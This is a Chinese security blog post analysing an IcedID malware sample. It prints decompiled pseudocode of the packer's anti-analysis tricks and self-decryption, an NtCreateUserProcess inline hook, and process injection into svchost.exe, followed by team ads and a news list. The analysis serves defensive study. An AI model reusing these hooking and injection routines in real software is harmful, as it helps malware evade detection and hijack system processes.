ICEID恶意软件分析
前几天查看MalwareBazaar恶意软件排名第一的恶意软件,发现当天最高的是ICEID。进一步搜索发现,该病毒在4月份活跃过。于是去app.any.run上面寻找了样本,学习一下
初步静态分析

32位GUI程序,并且会使用-q=569957503执行自身
IDA加载一下,发现wWinMain有很多干扰动态分析的代码
if?(?v17?==?0x23C91B?)
??{
????FindNextFileW(0,?&FindFileData);
????EndUpdateResourceA(0,?0);
????DeleteFileA(0);
????TransparentBlt(0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0);
????sprintf(Buffer,?"%s?%c",?"howejaxi?koxa",?87);
????v14?=?0;
????v15?=?0;
????v16?=?0;
????wprintf(L"bexovecisukamopebe?busacegunategi");
????fopen(0,?0);
????sub_416094((int)&v14);
??}
??for?(?i?=?0;?;?++i?)
??{
????GetTickCount();
????if?(?i?>?826999?)
??????break;
??}
??hModule?=?LoadLibraryW(L"kernel32.dll");
??v5?=?0;
??while?(?1?)
??{
????LastError?=?GetLastError();
????if?(?v5?>?15076057?&&?(_BYTE)v15?!=?105?&&?v18?!=?377720291?&&?LastError?==?346?)
??????break;
????if?(?++v5?>=?239749941?)
??????goto?LABEL_15;
??}
例如:打开不存在的文件,删除不存在的文件,进行无用分支判断,拖延时间等
然后获取了某些Windows API的地址
do
??{
????if?(?v8?==?(char?*)&unk_516C56?)
??????v7?=?dword_441410;
????++v8;
??}
??while?(?(int)v8?<?(int)&unk_55BD1C?);
??dwBytes?=?v7?+?407737;
??dword_BE1460?=?(int?(*)(void))GlobalAlloc(0,?v7?+?407737);
??GlobalAlloc(0,?dwBytes);
??v9?=?dword_441404;
??v10?=?0;
??dword_BE1464?=?dword_441404;
??if?(?dwBytes?)
??{
????while?(?1?)
????{
??????*((_BYTE?*)dword_BE1460?+?v10)?=?*(_BYTE?*)(v9?+?v10?+?0x638B9);
??????if?(?++v10?>=?dwBytes?)
????????break;
??????v9?=?dword_BE1464;
????}
??}
??sub_4150D4(&dword_BE1460,?&dwBytes);
??*(_DWORD?*)Buffer?=?'triV';
??dword_442A64?=?(int)&unk_6C6175;
??v11?=?&Buffer[strlen(Buffer)];
??v13?=?hModule;
??*(_DWORD?*)v11?=?'torP';
??*((_DWORD?*)v11?+?1)?=?&unk_746365;
??VirtProt?=?(int?(__stdcall?*)(_DWORD,?_DWORD,?_DWORD,?_DWORD))GetProcAddress(v13,?Buffer);
??((void?(*)(void))sub_415C93)();
??sub_415B7A(&unk_441000);
??dword_BE1460?=?(int?(*)(void))((char?*)dword_BE1460?+?1060);
??sub_415CAE();
其中有一个似乎是VirtualProtect的的地址,并且sub_415C93调用了VirtualProtect。所以有可能有代码解密行为
具体获取还要看动态分析
初步动态分析
在GetProcAddress下断点,确实是获取了VirtualProtect的地址

然后将Alloc申请的区域变为可执行

其中sub_415D04向申请的区域存储了一些数据,sub_415B7A进行了一个解密
void?__usercall?sub_415A62(int?a1@<edx>,?int?a2@<ecx>,?unsigned?int?a3@<ebx>)
{
??int?i;?//?esi
??for?(?i?=?0;?i?<?a1;?qword_BE6CF8?=?0xFFFFFFFFFC7352EEui64?)
??{
????*(_BYTE?*)(i?+?a2)?^=?sub_4159CC();
????if?(?a1?==?1609?)
????{
??????a3?=?293915114;
??????dword_BE6D00?=?0;
??????dword_BE6D04?=?0;
????}
????dword_BE6D08?=?0xAA6D9B4E;
????a3?=?a3?>>?9?<<?24;
????++i;
??}
}
sub_415CAE调用了IPAddress中的代码

依然是代码解密,最后到一个长jmp

这里就跳转到真实入口
DUMP此时的程序,跟踪一下

IDA打开,手动修复一下IAT表,得到start函数
payload分析
void?__cdecl?__noreturn?start()
{
??const?CHAR?*CommandLineA;?//?esi
??int?v1;?//?esi
??CommandLineA?=?(const?CHAR?*)getCommandLineA();
??if?(?sub_401140(CommandLineA)?)
??{
????sub_40124A();
??}
??else?if?(?sub_4013CF(CommandLineA)?)
??{
????v1?=?sub_4011BE();
????if?(?v1?)
????{
??????Sleep_0(0x3E8u);
??????sub_4012E9(v1);
????}
??}
??ExitProcess_0(0);
}
首先判断了一下命令行参数,
sub_401140
PSTR?__cdecl?sub_401140(const?CHAR?*a1)
{
??PSTR?result;?//?eax
??int?v2;?//?eax
??PSTR?v3;?//?esi
??DWORD?EnvironmentVariableA;?//?edi
??CHAR?Name[32];?//?[esp+0h]?[ebp-20h]?BYREF
??result?=?StrStrA(a1,?"-q=");
??if?(?result?)
??{
????v2?=?StrToIntA(result?+?3);
????wsprintfA(Name,?"%u",?v2);
????result?=?(PSTR)sub_401E01(2280);
????v3?=?result;
????if?(?result?)
????{
??????EnvironmentVariableA?=?GetEnvironmentVariableA(Name,?result,?0x8E8u);
??????if?(?EnvironmentVariableA?)
????????EnvironmentVariableA?=?j_hex2int((int)v3,?1108,?&dword_403000);
??????sub_401E3D((int)v3);
??????return?(PSTR)EnvironmentVariableA;
????}
??}
??return?result;
}
将-q=后面的字符串转化成数字,实际上就是判断有没有-q=这个参数,并且参数是数字
如果没有q=
int?__cdecl?sub_4013CF(const?CHAR?*a1)
{
??PSTR?v1;?//?eax
??int?result;?//?eax
??v1?=?StrStrIA(a1,?"?/p=");
??if?(?v1?)
????dword_403450?=?StrToIntA(v1?+?4);
??result?=?sub_401470();
??if?(?result?)
??{
????sub_4015A9();
????GetModuleFileNameW_0(0,?(LPWSTR)&dword_403144,?0x104u);
????sub_401E15((int)dword_403350,?(char?*)dword_404098,?256);
????return?1;
??}
??return?result;
}
尝试获取文件名,如果获取成功就返回1
sub_4011BE
int?sub_4011BE()
{
??int?result;?//?eax
??int?v1;?//?edx
??_BYTE?*v2;?//?ecx
??unsigned?int?i;?//?esi
??int?v4;?//?eax
??result?=?sub_401E01(2218);
??v1?=?result;
??if?(?result?)
??{
????v2?=?(_BYTE?*)result;
????for?(?i?=?0;?i?<?0x454;?++i?)
????{
??????*v2?=?byte_404070[*((unsigned?__int8?*)&dword_403000?+?i)?>>?4];
??????v2?+=?2;
??????v4?=?*((_BYTE?*)&dword_403000?+?i)?&?0xF;
??????*(v2?-?1)?=?byte_404070[v4];
????}
????*v2?=?0;
????return?v1;
??}
??return?result;
}
构造了一个文件名

很长的奇怪数字0100000000000000302B557700000000702D557700000000D02E557700000000F029557700000000C0DD52770000000040B850770000000020D6537700000000503655770000000020A75B77000000005038557700000000B818000000BAB83A000000BAB850000000BAB804000D00BA8BFF558BEC838BFF558BECFF8BFF558BEC83B8C8000000BA8BFF558BEC0FB8E8000C00BA00000000010000000000000060D08492F87F0000A0D48492F87F000060D78492F87F0000E0CD8492F87F0000106A7C92F87F0000C01A8392F87F000080D98092F87F000050E68492F87F000020568A92F87F000050EA8492F87F00004C8BD1B818004C8BD1B83A004
BOOL?__cdecl?sub_4012E9(const?CHAR?*a1)
{
??unsigned?__int64?v1;?//?rax
??const?CHAR?*CommandLineA;?//?eax
??CHAR?CommandLine[260];?//?[esp+Ch]?[ebp-168h]?BYREF
??struct?_STARTUPINFOA?StartupInfo;?//?[esp+110h]?[ebp-64h]?BYREF
??struct?_PROCESS_INFORMATION?ProcessInformation;?//?[esp+154h]?[ebp-20h]?BYREF
??CHAR?Name[16];?//?[esp+164h]?[ebp-10h]?BYREF
??v1?=?__rdtsc();
??wsprintfA(Name,?"%u",?(_DWORD)v1);
??CommandLineA?=?(const?CHAR?*)getCommandLineA();
??lstrcpyA(CommandLine,?CommandLineA);
??lstrcatA(CommandLine,?"?-q=");
??lstrcatA(CommandLine,?Name);
??sub_40200C(&StartupInfo,?0,?68);
??StartupInfo.cb?=?68;
??memset(&ProcessInformation,?0,?sizeof(ProcessInformation));
??SetEnvironmentVariableA(Name,?a1);
??return?CreateProcessA(0,?CommandLine,?0,?0,?0,?0,?0,?0,?&StartupInfo,?&ProcessInformation);
}
最后睡一觉后在sub_401E3D中创建一个进程,奇怪数字作为环境变量(这个可以干扰分析吗)
如果有q=
int?sub_40124A()
{
??int?result;?//?eax
??CHAR?PathName[260];?//?[esp+4h]?[ebp-178h]?BYREF
??struct?_STARTUPINFOA?StartupInfo;?//?[esp+108h]?[ebp-74h]?BYREF
??CHAR?String2[32];?//?[esp+14Ch]?[ebp-30h]?BYREF
??struct?_PROCESS_INFORMATION?ProcessInformation;?//?[esp+16Ch]?[ebp-10h]?BYREF
??cpy_svchost(String2);
??result?=?sub_401D08(NtCreateUserProcess,?(int)sub_4010B7);
??if?(?result?)
??{
????SetSystemDirectoryA(PathName,?260);
????sub_40200C(&StartupInfo,?0,?68);
????memset(&ProcessInformation,?0,?sizeof(ProcessInformation));
????SetCurrentDirectoryA(PathName);
????lstrcatA(PathName,?String2);
????StartupInfo.cb?=?68;
????return?CreateProcessA(0,?PathName,?0,?0,?0,?0,?0,?0,?&StartupInfo,?&ProcessInformation);
??}
??return?result;
}
首先复制一个字符串
然后进行了一个inline hook,让NtCreateUserProcess首先跳转到sub_4010B7
int?__cdecl?sub_401D08(int?a1,?int?a2)
{
??int?result;?//?eax
??int?v3;?//?edi
??int?v4;?//?[esp+8h]?[ebp-4h]?BYREF
??result?=?sub_401761(-1,?a1,?5,?64,?&v4);
??v3?=?result;
??if?(?result?)
??{
????*(_BYTE?*)a1?=?-23;
????*(_DWORD?*)(a1?+?1)?=?a2?-?a1?-?5;
????sub_401761(-1,?a1,?5,?v4,?&v4);
????return?v3;
??}
??return?result;
}
sub_401761中调用了ZwProtectVirtualMemory修改内存属性
在下面的创建进程CreateProcessA中,CreateProcess首先会调用NtCreateUserProcess,从而调用sub_4010B7
int?__thiscall?sub_4010B7(
????????void?*this,
????????_DWORD?*a2,
????????int?a3,
????????int?a4,
????????int?a5,
????????int?a6,
????????int?a7,
????????int?a8,
????????int?a9,
????????int?a10,
????????int?a11,
????????int?a12)
{
??int?result;?//?eax
??void?*v13;?//?[esp+0h]?[ebp-4h]?BYREF
??v13?=?this;
??if?(?!sub_401DB6((int)NtCreateUserProcess,?(int)&word_403082)?)
????return?0xC0000001;
??result?=?NtCreateUserProcess(a2,?a3,?a4,?a5,?a6,?a7,?a8,?a9,?a10,?a11,?a12);
??if?(?!result?)
??{
????if?(?sub_40138E(&a12,?&v13)?)
??????return?sub_4017A5(*a2,?a12)?!=?0???0?:?0xC0000001;
????else
??????return?-1073741823;
??}
??return?result;
}
首先unhook,调用原NtCreateUserProcess,然后在sub_40138E中进行一个代码解压,sub_4017A5中将代码注入到svchost.exe
int?__cdecl?sub_4017A5(int?a1,?int?a2)
{
??int?v2;?//?esi
??int?v3;?//?ebp
??_DWORD?*v4;?//?eax
??int?v6;?//?[esp+Ch]?[ebp-10h]?BYREF
??int?v7;?//?[esp+10h]?[ebp-Ch]
??int?v8;?//?[esp+14h]?[ebp-8h]
??int?v9;?//?[esp+18h]?[ebp-4h]
??v2?=?0;
??v6?=?a1;
??v7?=?0;
??v8?=?0;
??v9?=?a2;
??v3?=?NtAllocateVirtualMemory(a1,?84,?4);
??if?(?v3?)
??{
????v2?=?NtAllocateVirtualMemory_0(&v6);
????if?(?!v2
??????||?(v4?=?(_DWORD?*)(v7?+?*(_DWORD?*)(v9?+?16)))?!=?0
??????&&?((*v4?=?v3,?(v2?=?sub_4019A9(&v6))?==?0)
???????||?(v2?=?sub_401D54(a1,?0,?v8?+?*(_DWORD?*)(v9?+?12)))?==?0
???????||?(v2?=?ZwWriteVirtualMemory(a1,?v3,?&dword_403000,?1108))?==?0)?)
????{
??????GetLastError_0();
????}
????if?(?v7?)
??????sub_401E3D(v7);
??}
??else
??{
????GetLastError_0();
??}
??return?v2;
}
sub_4019A9中执行代码注入
int?__cdecl?sub_4019A9(int?*a1)
{
??int?*v1;?//?esi
??int?result;?//?eax
??unsigned?int?v3;?//?edi
??int?v4;?//?ebx
??v1?=?a1;
??result?=?ZwWriteVirtualMemory(*a1,?a1[2],?a1[1],?*(_DWORD?*)(a1[3]?+?8));
??if?(?result?)
??{
????v3?=?0;
????if?(?*(_DWORD?*)(v1[3]?+?32)?)
????{
??????v4?=?0;
??????do
??????{
????????NtProtectVirtualMemory(
??????????*v1,
??????????v1[2]?+?*(_DWORD?*)(v4?+?v1[3]?+?36),
??????????*(_DWORD?*)(v4?+?v1[3]?+?40),
??????????*(unsigned?__int8?*)(v4?+?v1[3]?+?52),
??????????(int)&a1);
????????v4?+=?17;
????????++v3;
??????}
??????while?(?v3?<?*(_DWORD?*)(v1[3]?+?32)?);
????}
????return?1;
??}
??return?result;
}
sub_401D54 hook了RtlExitUserProcess
BOOL?__cdecl?sub_401D54(int?a1,?int?a2,?int?a3)
{
??BOOL?result;?//?eax
??int?v4;?//?esi
??char?v5;?//?[esp+0h]?[ebp-Ch]?BYREF
??int?v6;?//?[esp+1h]?[ebp-Bh]
??int?v7;?//?[esp+8h]?[ebp-4h]?BYREF
??result?=?NtProtectVirtualMemory(a1,?a2,?5,?4,?(int)&v7);
??if?(?result?)
??{
????v5?=?-23;
????v6?=?a3?-?a2?-?5;
????v4?=?ZwWriteVirtualMemory(a1,?a2,?&v5,?5);
????NtProtectVirtualMemory(a1,?a2,?5,?v7,?(int)&v7);
????return?v4;
??}
??return?result;
}
注入svchost的代码分析
由于在Win10虚拟机分析时导致内存错误,这里只根据参考资料概述行为
注入主要有两处,一处是位于data段的系统API和加密后的C2服务器
从C2服务器获取payload,并且通过特定的算法生成RC4密钥加密数据。通过多线程协作执行和C2服务器交互等功能,并且依然进行了几次内存注入。
总结
该病毒采用了多种反调试/反分析方法,例如代码加密、进程注入等。分析过程较为复杂。
参考
[1] https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-one
[2] https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-two
[3] https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes
end
招新小广告
ChaMd5?Venom?招收大佬入圈
新成立组IOT+工控+样本分析?长期招新
欢迎联系admin@chamd5.org

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 习近平将发表二〇二六年新年贺词 7904141
- 2 2026年国补政策来了 7808738
- 3 东部战区:开火!开火!全部命中! 7712893
- 4 2026年这些民生政策将惠及百姓 7616985
- 5 小学食堂米线过期2.5小时被罚5万 7519709
- 6 解放军喊话驱离台军 原声曝光 7428214
- 7 为博流量直播踩烈士陵墓?绝不姑息 7327605
- 8 每月最高800元!多地发放养老消费券 7238391
- 9 数字人民币升级 1月1日起将计付利息 7141831
- 10 2026年1月1日起 一批新规将施行 7040675








Chamd5安全团队
